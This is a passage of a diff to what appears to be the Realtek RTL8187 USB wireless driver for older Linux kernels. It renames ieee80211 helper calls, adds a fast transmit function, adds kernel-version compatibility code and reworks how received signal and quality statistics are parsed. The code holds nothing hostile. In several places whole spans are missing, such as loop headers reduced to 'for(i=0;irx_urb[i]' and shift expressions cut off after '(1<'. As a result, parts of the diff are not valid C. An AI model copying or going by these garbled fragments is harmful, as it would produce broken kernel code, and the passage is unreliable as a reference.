pt_regs *regs) +#else +void rtl8187_nptx_isr(struct urb *tx_urb) +#endif { struct net_device *dev = (struct net_device*)tx_urb->context; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if(tx_urb->status == 0) priv->stats.txnpokint++; else @@ -1339,10 +1417,10 @@ } -/* This function do the real dirty work: it sends a TX command - * descriptor plus data URB +/* This function do the real dirty work: it sends a TX command + * descriptor plus data URB */ - + short rtl8180_tx(struct net_device *dev, u32* txbuf, int len, priority_t priority, short morefrag, short rate) { @@ -1352,12 +1430,12 @@ int pend ; int status; struct urb *tx_urb; - int urb_len; - struct r8180_priv *priv = ieee80211_priv(dev); + int urb_len; + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); // int rate = ieeerate2rtlrate(priv->ieee80211->rate); - pend = atomic_read((priority == NORM_PRIORITY)? &priv->tx_np_pending : &priv->tx_lp_pending); - /* we are locked here so the two atomic_read and inc are executed without interleaves */ + pend = atomic_read((priority == NORM_PRIORITY)? &priv->tx_np_pending : &priv->tx_lp_pending); + /* we are locked here so the two atomic_read and inc are executed without interleaves */ if( pend > MAX_TX_URB){ if(priority == NORM_PRIORITY) priv->stats.txnpdrop++; @@ -1365,52 +1443,38 @@ priv->stats.txlpdrop++; return -1; } - - + //tx = kmalloc((len + 4*3), GFP_ATOMIC); urb_len = len + 4*3; if((0 == urb_len%64)||(0 == urb_len%512)) { - urb_len += 1; + urb_len += 1; } tx = kmalloc(urb_len, GFP_ATOMIC); if(!tx) return -ENOMEM; - //printk(KERN_WARNING "urb_len = %d\n", urb_len); + //printk(KERN_WARNING "urb_len = %d\n", urb_len); tx_urb = usb_alloc_urb(0,GFP_ATOMIC); - + if(!tx_urb){ - + kfree(tx); return -ENOMEM; } - + memcpy(tx+3,txbuf,len); tx[0] = 0; tx[0] |= len & 0xfff; tx[0] |= (1<<15); - -// if(priv->shortpre) -// tx[0] |= (1<<16); - - //if(len > priv->rts_threshold){ -// tx[0] |= (1<<23); //ENABLE RTS -// tx[0] |= (1<<18); //ENABLE CTS - //} + if(morefrag) tx[0] |= (1<<17); tx[0] |= (ieeerate2rtlrate(priv->ieee80211->basic_rate) << 19); /* RTS RATE - should be basic rate */ tx[0] |= (rate << 24); tx[1] = 0; - -// duration = rtl8180_len2duration(len, -// rate,&ext); -// tx[1] |= (duration & 0x7fff) <<16; -// if(ext) tx[1] |= (1<<31); - // tx[2] = 0x303020; tx[2] = 3; // CW min tx[2] |= (7<<4); //CW max tx[2] |= (11<<8);//(priv->retry_data<<8); //retry lim - + // printk("%x\n%x\n",tx[0],tx[1]); #ifdef DUMP_TX @@ -1421,7 +1485,7 @@ printk("---------------\n"); #endif - + /* FIXME check what EP is for low/norm PRI */ usb_fill_bulk_urb(tx_urb,priv->udev, usb_sndbulkpipe(priv->udev,(priority == LOW_PRIORITY) ? 2:3), tx, @@ -1438,54 +1502,97 @@ } } - +/* This function do the real dirty work: it sends a TX command + * descriptor plus data URB (fast) + */ + +short rtl8180_tx_fast(struct net_device *dev, u32* txbuf, int len, short rate) +{ + u32 *tx; + int status; + struct urb *tx_urb; + int urb_len; + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + urb_len = len + 4*3; + if((0 == urb_len%64)||(0 == urb_len%512)) { + urb_len += 1; + } + tx = kmalloc(urb_len, GFP_ATOMIC); + if(!tx) return -ENOMEM; + + tx_urb = usb_alloc_urb(0,GFP_ATOMIC); + + if(!tx_urb){ + kfree(tx); + return -ENOMEM; + } + + memcpy(tx+3,txbuf,len); + tx[0] = (len & 0xfff) + 0x8000; + tx[0] |= (ieeerate2rtlrate(priv->ieee80211->basic_rate) << 19); /* RTS RATE - should be basic rate */ + tx[0] |= (rate << 24); + tx[1] = 0; + tx[2] = 2931; + + /* FIXME check what EP is for low/norm PRI */ + usb_fill_bulk_urb(tx_urb,priv->udev, + usb_sndbulkpipe(priv->udev, 2), tx, urb_len, rtl8187_lptx_isr_fast, dev); + status = usb_submit_urb(tx_urb, GFP_ATOMIC); + if (!status){ + return 0; + }else{ + return -1; + } +} + void rtl8180_irq_rx_tasklet(struct r8180_priv * priv); short rtl8187_usb_initendpoints(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i; - + priv->rx_urb = (struct urb**) kmalloc (sizeof(struct urb*) * MAX_RX_URB, GFP_KERNEL); - + for(i=0;irx_urb[i] = usb_alloc_urb(0,GFP_KERNEL); - if(!priv->rx_urb[i]) + if(!priv->rx_urb[i]) goto destroy; - + priv->rx_urb[i]->transfer_buffer = kmalloc(RX_URB_SIZE, GFP_KERNEL); - if(!priv->rx_urb[i]->transfer_buffer) + if(!priv->rx_urb[i]->transfer_buffer) goto destroy1; - + priv->rx_urb[i]->transfer_buffer_length = RX_URB_SIZE; } - + return 0; - + destroy1: usb_free_urb(priv->rx_urb[i]); - + destroy: while (--i >= 0){ kfree(priv->rx_urb[i]->transfer_buffer); usb_free_urb(priv->rx_urb[i]); } - + kfree(priv->rx_urb); - + priv->rx_urb = NULL; DMESGE("Endpoint Alloc Failure"); return -ENOMEM; - + } void rtl8187_usb_deleteendpoints(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i; - + if(priv->rx_urb){ for(i=0;irx_urb[i]); @@ -1494,9 +1601,9 @@ } kfree(priv->rx_urb); priv->rx_urb = NULL; - + } - + } @@ -1505,16 +1612,16 @@ int i; u16 word; int basic_rate,min_rr_rate,max_rr_rate; - -// struct r8180_priv *priv = ieee80211_priv(dev); - - //if (ieee80211_is_54g(priv->ieee80211->current_network) && + +// struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + //if (ieee80211_is_54g_rtl7(priv->ieee80211->current_network) && // priv->ieee80211->state == IEEE80211_LINKED){ basic_rate = ieeerate2rtlrate(240); min_rr_rate = ieeerate2rtlrate(60); max_rr_rate = ieeerate2rtlrate(240); - -// + +// // }else{ // basic_rate = ieeerate2rtlrate(20); // min_rr_rate = ieeerate2rtlrate(10); @@ -1526,21 +1633,21 @@ word = read_nic_word(dev, BRSR); word &= ~BRSR_MBR_8185; - + for(i=0;i<=basic_rate;i++) word |= (1<beacon_interval); rtl8187_net_update(dev); /*update timing params*/ @@ -1553,24 +1660,24 @@ short rtl8180_init(struct net_device *dev) { - - struct r8180_priv *priv = ieee80211_priv(dev); + + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i, j; u16 word; - int ch; + int ch, chans; //u16 version; - //u8 hw_version; - //u8 config3; - + u8 hw_version; + u8 config3; + //FIXME: these constants are placed in a bad pleace. // priv->txbuffsize = 1024; // priv->txringcount = 32; // priv->rxbuffersize = 1024; -// priv->rxringcount = 32; +// priv->rxringcount = 32; // priv->txbeaconcount = 3; // priv->rx_skb_complete = 1; - //priv->txnp_pending.ispending=0; + //priv->txnp_pending.ispending=0; /* ^^ the SKB does not containt a partial RXed * packet (is empty) */ @@ -1580,15 +1687,24 @@ return -1; } ch=channels; + chans=0; + for (i=1; i<=14; i++) { + if( (u8)(ch & 0x01) ) chans++; + ch >>= 1; + } + DMESG("Enabling %d channels.", chans); + ch=channels; // set channels 1..14 allowed in given locale for (i=1; i<=14; i++) { (priv->ieee80211->channel_map)[i] = (u8)(ch & 0x01); ch >>= 1; } //memcpy(priv->stats,0,sizeof(struct Stats)); - + //priv->irq_enabled=0; - + + priv->dev = dev; + // priv->stats.rxdmafail=0; priv->stats.txrdu=0; // priv->stats.rxrdu=0; @@ -1612,33 +1728,37 @@ // priv->stats.txbeaconerr=0; priv->stats.txlperr=0; priv->stats.txlpokint=0; - + priv->ieee80211->iw_mode = IW_MODE_INFRA; - + priv->retry_rts = DEFAULT_RETRY_RTS; priv->retry_data = DEFAULT_RETRY_DATA; priv->ieee80211->rate = 110; //11 mbps priv->ieee80211->short_slot = 1; - priv->ieee80211->mode = IEEE_G; + priv->ieee80211->mode = IEEE_G|IEEE_B; priv->promisc = (dev->flags & IFF_PROMISC) ? 1:0; spin_lock_init(&priv->tx_lock); +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) INIT_WORK(&priv->reset_wq,(void(*)(void*)) rtl8180_restart,dev); +#else + INIT_WORK(&priv->reset_wq, rtl8180_restart); +#endif sema_init(&priv->wx_sem,1); tasklet_init(&priv->irq_rx_tasklet, (void(*)(unsigned long))rtl8180_irq_rx_tasklet, (unsigned long)priv); - //priv->ieee80211->func = + //priv->ieee80211->func = // kmalloc(sizeof(struct ieee80211_helper_functions),GFP_KERNEL); //memset(priv->ieee80211->func, 0, // sizeof(struct ieee80211_helper_functions)); - priv->ieee80211->current_network.beacon_interval = DEFAULT_BEACONINTERVAL; + priv->ieee80211->current_network.beacon_interval = DEFAULT_BEACONINTERVAL; priv->ieee80211->iw_mode = IW_MODE_INFRA; - priv->ieee80211->softmac_features = IEEE_SOFTMAC_SCAN | - IEEE_SOFTMAC_ASSOCIATE | IEEE_SOFTMAC_PROBERQ | + priv->ieee80211->softmac_features = IEEE_SOFTMAC_SCAN | + IEEE_SOFTMAC_ASSOCIATE | IEEE_SOFTMAC_PROBERQ | IEEE_SOFTMAC_PROBERS | IEEE_SOFTMAC_TX_QUEUE | /*IEEE_SOFTMAC_BEACONS | */IEEE_SOFTMAC_SINGLE_QUEUE; - + priv->ieee80211->active_scan = 1; priv->ieee80211->rate = 110; //11 mbps priv->ieee80211->modulation = IEEE80211_CCK_MODULATION | IEEE80211_OFDM_MODULATION; @@ -1655,51 +1775,51 @@ priv->ieee80211->data_hard_resume = rtl8180_data_hard_resume; //priv->ieee80211->start_send_beacons = NULL; //priv->ieee80211->stop_send_beacons = NULL; - + priv->ieee80211->fts = DEFAULT_FRAG_THRESHOLD; - + priv->card_8185 = 2; priv->phy_ver = 2; priv->card_type = USB; - + #if 0 hw_version =( read_nic_dword(dev, TCR) & TCR_HWVERID_MASK)>>TCR_HWVERID_SHIFT; - + switch (hw_version){ case HW_VERID_R8185_ABC: - DMESG("MAC controller is a RTL8185 b/g"); + DMESG("MAC controller is a RTL8185 b/g"); priv->card_8185 = 1; /* you should not find a card with 8225 PHY ver < C*/ priv->phy_ver = 2; break; - + case HW_VERID_R8185_D: - DMESG("MAC controller is a RTL8185 b/g (V. D)"); + DMESG("MAC controller is a RTL8185 b/g (V. D)"); priv->card_8185 = 2; /* you should not find a card with 8225 PHY ver < C*/ priv->phy_ver = 2; break; - + case HW_VERID_R8180_ABCD: DMESG("MAC controller is a RTL8180"); priv->card_8185 = 0; break; - + case HW_VERID_R8180_F: DMESG("MAC controller is a RTL8180 (v. F)"); priv->card_8185 = 0; break; - + default: DMESGW("MAC chip not recognized: version %x. Assuming RTL8180",hw_version); priv->card_8185 = 0; break; } - - + + /* you should not found any 8185 Ver B Card */ priv->card_8185_Bversion = 0; - + config3 = read_nic_byte(dev, CONFIG3); if(config3 & 0x8){ priv->card_type = CARDBUS; @@ -1715,13 +1835,19 @@ #endif priv->enable_gpio0 = 0; - + + hw_version =( read_nic_dword(dev, TCR) & TCR_HWVERID_MASK)>>TCR_HWVERID_SHIFT; + config3 = read_nic_byte(dev, CONFIG3); + + DMESG("MAC chip version: %02X", hw_version); + DMESG("Card type: %02X", config3); + /* commented out just because we already do this when resetting the card andrea 20050924 */ #if 0 - + u8 txcr, txreg50; u32 txreg54, txreg60; @@ -1757,8 +1883,8 @@ // DMESG("<>", txcr); #endif - - /*the eeprom type is stored in RCR register bit #6 */ + + /*the eeprom type is stored in RCR register bit #6 */ if (RCR_9356SEL & read_nic_dword(dev, RCR)){ priv->epromtype=EPROM_93c56; DMESG("Reported EEPROM chip is a 93c56 (2Kbit)"); @@ -1766,58 +1892,73 @@ priv->epromtype=EPROM_93c46; DMESG("Reported EEPROM chip is a 93c46 (1Kbit)"); } - + dev->get_stats = rtl8180_stats; - + dev->dev_addr[0]=eprom_read(dev,MAC_ADR) & 0xff; dev->dev_addr[1]=(eprom_read(dev,MAC_ADR) & 0xff00)>>8; dev->dev_addr[2]=eprom_read(dev,MAC_ADR+1) & 0xff; dev->dev_addr[3]=(eprom_read(dev,MAC_ADR+1) & 0xff00)>>8; dev->dev_addr[4]=eprom_read(dev,MAC_ADR+2) & 0xff; dev->dev_addr[5]=(eprom_read(dev,MAC_ADR+2) & 0xff00)>>8; - + DMESG("Card MAC address is "MAC_FMT, MAC_ARG(dev->dev_addr)); - + for(i=1,j=0; i<6; i+=2,j++){ - + word = eprom_read(dev,EPROM_TXPW0 + j); priv->chtxpwr[i]=word & 0xf; priv->chtxpwr_ofdm[i]=(word & 0xf0)>>4; priv->chtxpwr[i+1]=(word & 0xf00)>>8; priv->chtxpwr_ofdm[i+1]=(word & 0xf000)>>12; } - + for(i=1,j=0; i<4; i+=2,j++){ - + word = eprom_read(dev,EPROM_TXPW1 + j); priv->chtxpwr[i+6]=word & 0xf; priv->chtxpwr_ofdm[i+6]=(word & 0xf0)>>4; priv->chtxpwr[i+6+1]=(word & 0xf00)>>8; priv->chtxpwr_ofdm[i+6+1]=(word & 0xf000)>>12; } - + for(i=1,j=0; i<4; i+=2,j++){ - + word = eprom_read(dev,EPROM_TXPW2 + j); priv->chtxpwr[i+6+4]=word & 0xf; priv->chtxpwr_ofdm[i+6+4]=(word & 0xf0)>>4; priv->chtxpwr[i+6+4+1]=(word & 0xf00)>>8; priv->chtxpwr_ofdm[i+6+4+1]=(word & 0xf000)>>12; } - - + + priv->rf_chip = 0xff & eprom_read(dev,EPROM_RFCHIPID); - + +#ifdef DEBUG_TX_POWER + dump_tx_power(dev); +#endif + + DMESG("RF Chip ID: %02X", priv->rf_chip); + word = eprom_read(dev,EPROM_TXPW_BASE); priv->cck_txpwr_base = word & 0xf; priv->ofdm_txpwr_base = (word>>4) & 0xf; - + + priv->txpwr_max = 0; + for(i=1; i<15; i++) + { + if(priv->chtxpwr[i] > priv->txpwr_max) priv->txpwr_max = priv->chtxpwr[i]; + if(priv->chtxpwr_ofdm[i] > priv->txpwr_max) priv->txpwr_max = priv->chtxpwr_ofdm[i]; + priv->chtxpwr_orig[i] = priv->chtxpwr[i]; + priv->chtxpwr_ofdm_orig[i] = priv->chtxpwr_ofdm[i]; + } + /* check RF frontend chipset */ - + switch (priv->rf_chip) { - + case EPROM_RFCHIPID_RTL8225U: - + DMESG("Card reports RF frontend Realtek 8225"); DMESGW("This driver has EXPERIMENTAL support for this chipset."); DMESGW("use it with care and at your own risk and"); @@ -1834,28 +1975,28 @@ DMESG("This seems a legacy 1st version radio"); } priv->rf_close = rtl8225_rf_close; - + priv->max_sens = RTL8225_RF_MAX_SENS; priv->sens = RTL8225_RF_DEF_SENS; break; - + default: DMESGW("Unknown RF module %x",priv->rf_chip); DMESGW("Exiting..."); return -1; - + } - + // DMESG("Energy threshold: %x",priv->cs_treshold); DMESG("PAPE from CONFIG2: %x",read_nic_byte(dev,CONFIG2)&0x7); //DMESG("CONFIG2: %x ECONFIG2: %x",read_nic_byte(dev,CONFIG2),eprom_read(dev,EPROM_CONFIG2)); - - if(rtl8187_usb_initendpoints(dev)!=0){ + + if(rtl8187_usb_initendpoints(dev)!=0){ DMESG("Endopoints initialization failed"); return -ENOMEM; } -#if 0 - if (0!=alloc_rx_desc_ring(dev, priv->rxbuffersize, priv->rxringcount)) +#if 0 + if (0!=alloc_rx_desc_ring(dev, priv->rxbuffersize, priv->rxringcount)) return -ENOMEM; if (0!=alloc_tx_desc_ring(dev, priv->txbuffsize, priv->txringcount, @@ -1869,16 +2010,16 @@ if (0!=alloc_tx_desc_ring(dev, priv->txbuffsize, priv->txringcount, TX_LOWPRIORITY_RING_ADDR)) return -ENOMEM; - - + + if (0!=alloc_tx_beacon_desc_ring(dev, priv->txbeaconcount)) return -ENOMEM; #endif - + #ifdef DEBUG_EPROM dump_eprom(dev); -#endif +#endif return 0; } @@ -1898,7 +2039,7 @@ rtl8180_set_mode(dev, EPROM_CMD_CONFIG); conf3 = read_nic_byte(dev, CONFIG3); - write_nic_byte(dev, CONFIG3, conf3 | (1<> 24)); write_nic_byte(dev, 0x7e, ((phyw & 0x00ff0000) >> 16)); write_nic_byte(dev, 0x7d, ((phyw & 0x0000ff00) >> 8)); write_nic_byte(dev, 0x7c, ((phyw & 0x000000ff) )); //read_nic_dword(dev, PHY_ADR); -#if 0 +#if 0 for(i=0;i<10;i++){ write_nic_dword(dev, PHY_ADR, 0xffffff7f & phyw); phyr = read_nic_byte(dev, PHY_READ); if(phyr == (data&0xff)) break; - + } #endif /* this is ok to fail when we write AGC table. check for AGC table might be @@ -1988,60 +2129,60 @@ void rtl8180_adapter_start(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); //u32 anaparam; //u8 config3; - + //rtl8180_rtx_disable(dev); rtl8180_reset(dev); write_nic_byte(dev,0x85,0); write_nic_byte(dev,0x91,0); - + /* light blink! */ write_nic_byte(dev,0x85,4); write_nic_byte(dev,0x91,1); write_nic_byte(dev,0x90,0); - + priv->irq_mask = 0xffff; /* priv->dma_poll_mask = 0; priv->dma_poll_mask|= (1<dev_addr)[0]); write_nic_word(dev, MAC4, ((u32*)dev->dev_addr)[1] & 0xffff ); rtl8180_set_mode(dev, EPROM_CMD_NORMAL); rtl8180_update_msr(dev); - + rtl8180_set_mode(dev, EPROM_CMD_CONFIG); - + write_nic_word(dev,0xf4,0xffff); write_nic_byte(dev, - CONFIG1, (read_nic_byte(dev,CONFIG1) & 0x3f) | 0x80); + CONFIG1, (read_nic_byte(dev,CONFIG1) & 0x3f) | 0x80); rtl8180_set_mode(dev,EPROM_CMD_NORMAL); - - write_nic_dword(dev,INT_TIMEOUT,0); + + write_nic_dword(dev,INT_TIMEOUT,0); #ifdef DEBUG_REGISTERS - rtl8180_dump_reg(dev); + rtl8180_dump_reg(dev); #endif - - - write_nic_byte(dev, WPA_CONFIG, 0); + + + write_nic_byte(dev, WPA_CONFIG, 0); write_nic_byte(dev, RATE_FALLBACK, 0x81); rtl8187_set_rate(dev); - - priv->rf_init(dev); + + priv->rf_init(dev); if(priv->rf_set_sens != NULL) - priv->rf_set_sens(dev,priv->sens); - + priv->rf_set_sens(dev,priv->sens); + write_nic_word(dev,0x5e,1); #if 1 @@ -2054,13 +2195,13 @@ write_nic_byte(dev, 0xff, 0x60); write_nic_word(dev,0x5e,0); - - + + rtl8180_irq_enable(dev); /*DMESG ("lfree %d",get_curr_tx_free_desc(dev,LOW_PRIORITY)); - + DMESG ("nfree %d",get_curr_tx_free_desc(dev,NORM_PRIORITY)); - + DMESG ("hfree %d",get_curr_tx_free_desc(dev,HI_PRIORITY)); if(check_nic_enought_desc(dev,NORM_PRIORITY)) DMESG("NORM OK"); if(check_nic_enought_desc(dev,HI_PRIORITY)) DMESG("HI OK"); @@ -2077,8 +2218,8 @@ void rtl8180_start_tx_beacon(struct net_device *dev) { int i; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - u16 word; + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + u16 word; DMESG("Enabling beacon TX"); //write_nic_byte(dev, 0x42,0xe6);// TCR //rtl8180_init_beacon(dev); @@ -2091,41 +2232,41 @@ //write_nic_word(dev,0x7a,0); //write_nic_word(dev,0x7a,0x8000); - + word = read_nic_word(dev, BcnItv); word &= ~BcnItv_BcnItv; // clear Bcn_Itv write_nic_word(dev, BcnItv, word); - write_nic_word(dev, AtimWnd, + write_nic_word(dev, AtimWnd, read_nic_word(dev, AtimWnd) &~ AtimWnd_AtimWnd); - + word = read_nic_word(dev, BintrItv); word &= ~BintrItv_BintrItv; - - //word |= priv->ieee80211->beacon_interval * + + //word |= priv->ieee80211->beacon_interval * // ((priv->txbeaconcount > 1)?(priv->txbeaconcount-1):1); // FIXME:FIXME check if correct ^^ worked with 0x3e8; - + write_nic_word(dev, BintrItv, word); - + //write_nic_word(dev,0x2e,0xe002); //write_nic_dword(dev,0x30,0xb8c7832e); for(i=0; iieee80211->beacon_cell_ssid[i]); - + // rtl8180_update_msr(dev); - + //write_nic_byte(dev,CONFIG4,3); /* !!!!!!!!!! */ - + rtl8180_set_mode(dev, EPROM_CMD_NORMAL); - + rtl8180_irq_enable(dev); - + /* VV !!!!!!!!!! VV*/ /* rtl8180_set_mode(dev,EPROM_CMD_CONFIG); - write_nic_byte(dev,0x9d,0x00); + write_nic_byte(dev,0x9d,0x00); rtl8180_set_mode(dev,EPROM_CMD_NORMAL); */ } @@ -2135,137 +2276,138 @@ ***************************************************************************/ static struct net_device_stats *rtl8180_stats(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + return &priv->ieee80211->stats; } int _rtl8180_up(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); priv->up=1; - - //DMESG("Bringing up iface"); + +// DMESG("Bringing up iface"); rtl8180_adapter_start(dev); - rtl8180_rx_enable(dev); - rtl8180_tx_enable(dev); - - ieee80211_softmac_start_protocol(priv->ieee80211); - - ieee80211_reset_queue(priv->ieee80211); + ieee80211_softmac_start_protocol_rtl7(priv->ieee80211); + ieee80211_reset_queue_rtl7(priv->ieee80211); if(!netif_queue_stopped(dev)) netif_start_queue(dev); else netif_wake_queue(dev); - return 0; } int rtl8180_open(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; - + down(&priv->wx_sem); + ret = rtl8180_up(dev); up(&priv->wx_sem); return ret; - + } int rtl8180_up(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if (priv->up == 1) return -1; - + return _rtl8180_up(dev); } int rtl8180_close(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; - + down(&priv->wx_sem); - + ret = rtl8180_down(dev); - + up(&priv->wx_sem); - + return ret; } int rtl8180_down(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if (priv->up == 0) return -1; - + priv->up=0; /* FIXME */ if (!netif_queue_stopped(dev)) netif_stop_queue(dev); - + rtl8180_rtx_disable(dev); rtl8180_irq_disable(dev); - ieee80211_softmac_stop_protocol(priv->ieee80211); - + ieee80211_softmac_stop_protocol_rtl7(priv->ieee80211); + return 0; } void rtl8180_commit(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if (priv->up == 0) return ; - - ieee80211_softmac_stop_protocol(priv->ieee80211); - + + ieee80211_softmac_stop_protocol_rtl7(priv->ieee80211); + rtl8180_irq_disable(dev); rtl8180_rtx_disable(dev); _rtl8180_up(dev); } +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void rtl8180_restart(struct work_struct *work) +{ + struct r8180_priv *priv = container_of(work, struct r8180_priv, reset_wq); + struct net_device *dev = priv->dev; +#else void rtl8180_restart(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); +#endif down(&priv->wx_sem); - rtl8180_commit(dev); - + up(&priv->wx_sem); } static void r8180_set_multicast(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); short promisc; //down(&priv->wx_sem); - + /* FIXME FIXME */ - + promisc = (dev->flags & IFF_PROMISC) ? 1:0; - + if (promisc != priv->promisc) // rtl8180_commit(dev); - + priv->promisc = promisc; - + //schedule_work(&priv->reset_wq); //up(&priv->wx_sem); } @@ -2273,17 +2415,17 @@ int r8180_set_mac_adr(struct net_device *dev, void *mac) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); struct sockaddr *addr = mac; - + down(&priv->wx_sem); - + memcpy(dev->dev_addr, addr->sa_data, ETH_ALEN); - + schedule_work(&priv->reset_wq); - + up(&priv->wx_sem); - + return 0; } @@ -2291,16 +2433,18 @@ /* based on ipw2200 driver */ int rtl8180_ioctl(struct net_device *dev, struct ifreq *rq, int cmd) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + struct iwreq *wrq; + int ret; + down(&priv->wx_sem); - - struct iwreq *wrq = (struct iwreq *)rq; - - int ret=-1; + + wrq = (struct iwreq *)rq; + + ret=-1; switch (cmd) { case RTL_IOCTL_WPA_SUPPLICANT: - ret = ieee80211_wpa_supplicant_ioctl(priv->ieee80211, &wrq->u.data); + ret = ieee80211_wpa_supplicant_ioctl_rtl7(priv->ieee80211, &wrq->u.data); break; default: @@ -2309,7 +2453,7 @@ } up(&priv->wx_sem); - + return ret; } @@ -2320,10 +2464,11 @@ struct net_device *dev = (struct net_device*)rx_urb->context; int status,len,flen; struct sk_buff *skb; - u32 *desc; - + u8 *desc; + u8 signal,quality,rate; + //DMESG("rtl8187_rx_isr"); - + struct ieee80211_rx_stats stats = { .signal = 0, .noise = -98, @@ -2332,43 +2477,109 @@ .freq = IEEE80211_24GHZ_BAND, }; + //DMESG("RX %d ",rx_urb->status); status = rx_urb->status; if(status == 0){ - + len = rx_urb->actual_length; - // len = len - 4 - 15 - 1; /* CRC, DESC, SEPARATOR*/ + // len = len - 4 - 15 - 1; /* CRC, DESC, SEPARATOR*/ len -= 4*4;/* 4 dword and 4 byte CRC */ - +#if 0 desc = (u32*)(rx_urb->transfer_buffer + len); - + flen = desc[0] & 0xfff; - + if( flen <= rx_urb->actual_length){ - - stats.signal = (desc[1] & 0x7f00)>>8; - stats.noise = desc[1] &0xff; - stats.rate = desc[0] >> 20 & 0xf; + + //stats.signal = (desc[1] & 0x7f00)>>8; + //stats.noise = desc[1] &0xff; + signal=(desc[1]& (0xff0000))>>16; + signal=(signal&0xfe)>>1; // Modify by hikaru 6.6 + + quality=(desc[1] & (0xff)); + + rate=(desc[0] &((1<<23)|(1<<22)|(1<<21)|(1<<20)))>>20; + // printk(KERN_INFO "rate is %d!\n",rate); + stats.rate = rtl8180_rate2rate(rate); + // printk(KERN_INFO "stats.rate is %d!\n",stats.rate); + //stats.rate = desc[0] >> 20 & 0xf; stats.mac_time[0] = desc[2]; stats.mac_time[1] = desc[3]; +#endif + + desc = rx_urb->transfer_buffer + len; + + flen = ((desc[1] & 0x0f) << 8) + (desc[0] & 0xff); + + if( flen <= rx_urb->actual_length){ + //stats.signal = (desc[1] & 0x7f00)>>8; + //stats.noise = desc[1] &0xff; + signal=(desc[6]& 0xfe)>>1; + //signal=(signal&0xfe)>>1; // Modify by hikaru 6.6 + + quality=desc[4] & 0xff; + + //rate=(desc[2] &((1<<7)|(1<<6)|(1<<5)|(1<<4)))>>4; + rate=(desc[2] & 0xf0)>>4; + // printk(KERN_INFO "rate is %d!\n",rate); + stats.rate = rtl8180_rate2rate(rate); + // printk(KERN_INFO "stats.rate is %d!\n",stats.rate); + //stats.rate = desc[0] >> 20 & 0xf; + stats.mac_time[0] = desc[8] + (desc[9]<<8) + (desc[10]<<16) + (desc[11]<<24); + stats.mac_time[1] = desc[12] + (desc[13]<<8) + (desc[14]<<16) + (desc[15]<<24); + + + //calculate link quality begin + if(!rtl8180_IsWirelessBMode(stats.rate) ) + { // OFDM rate. + if(signal>90) + signal=90; + else if(signal<25) + signal=25; + signal = (90-signal)*100/65; + } + else + { // CCK rate. + if(signal>95) + signal = 95; + else if(signal<30) + signal = 30; + signal =(95-signal )*100/65; + } + priv->wstats.qual.level = signal; + // printk(KERN_INFO "signal is %d!\n",signal); + if(quality > 64) + priv ->wstats.qual.qual = 0; + else + priv ->wstats.qual.qual = ((64-quality) * 100) / 64; // SQ value is the SIGNAL_QUALITY returned to IORequest, + //and this value only appear when STA is associated to AP or + // STA is in IBSS mode + // printk(KERN_INFO "quality is %d!\n",priv->wstats.qual.qual); + priv->wstats.qual.noise = 100 - priv ->wstats.qual.qual; + priv->wstats.qual.updated = 7; + if(priv->ieee80211->iw_mode == IW_MODE_MONITOR) + { + stats.signal = priv->wstats.qual.level; + stats.noise = priv->wstats.qual.noise; + } + //calculate link quality end skb = dev_alloc_skb(flen-4); - //skb_reserve(skb,2); - if(skb){ + if(skb){ memcpy(skb_put(skb,flen-4), rx_urb->transfer_buffer,flen -4); - + #ifdef DUMP_RX int i; for(i=0;itransfer_buffer))[i]); printk("------RATE %x:w---------------\n",stats.rate); - + #endif priv->stats.rxok++; // priv->rxskb = skb; // priv->tempstats = &stats; - - if(!ieee80211_rx(priv->ieee80211, + if(!ieee80211_rx_rtl7(priv->ieee80211, skb, &stats)) dev_kfree_skb_any(skb); } @@ -2376,9 +2587,8 @@ }else{ priv->stats.rxstaterr++; priv->ieee80211->stats.rx_errors++; - } - + if(status != -ENOENT)rtl8187_rx_urbsubmit(dev,rx_urb); else DMESG("RX process aborted due to explicit shutdown"); } @@ -2396,20 +2606,22 @@ struct r8180_priv *priv= NULL; struct usb_device *udev = interface_to_usbdev(intf); -//printk("===> rtl8187_usb_probe()\n"); - - dev = alloc_ieee80211(sizeof(struct r8180_priv)); - +//printk("===> rtl8187_usb_probe()\n"); + + dev = alloc_ieee80211_rtl7(sizeof(struct r8180_priv)); + +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,24) SET_MODULE_OWNER(dev); - usb_set_intfdata(intf, dev); - +#endif + 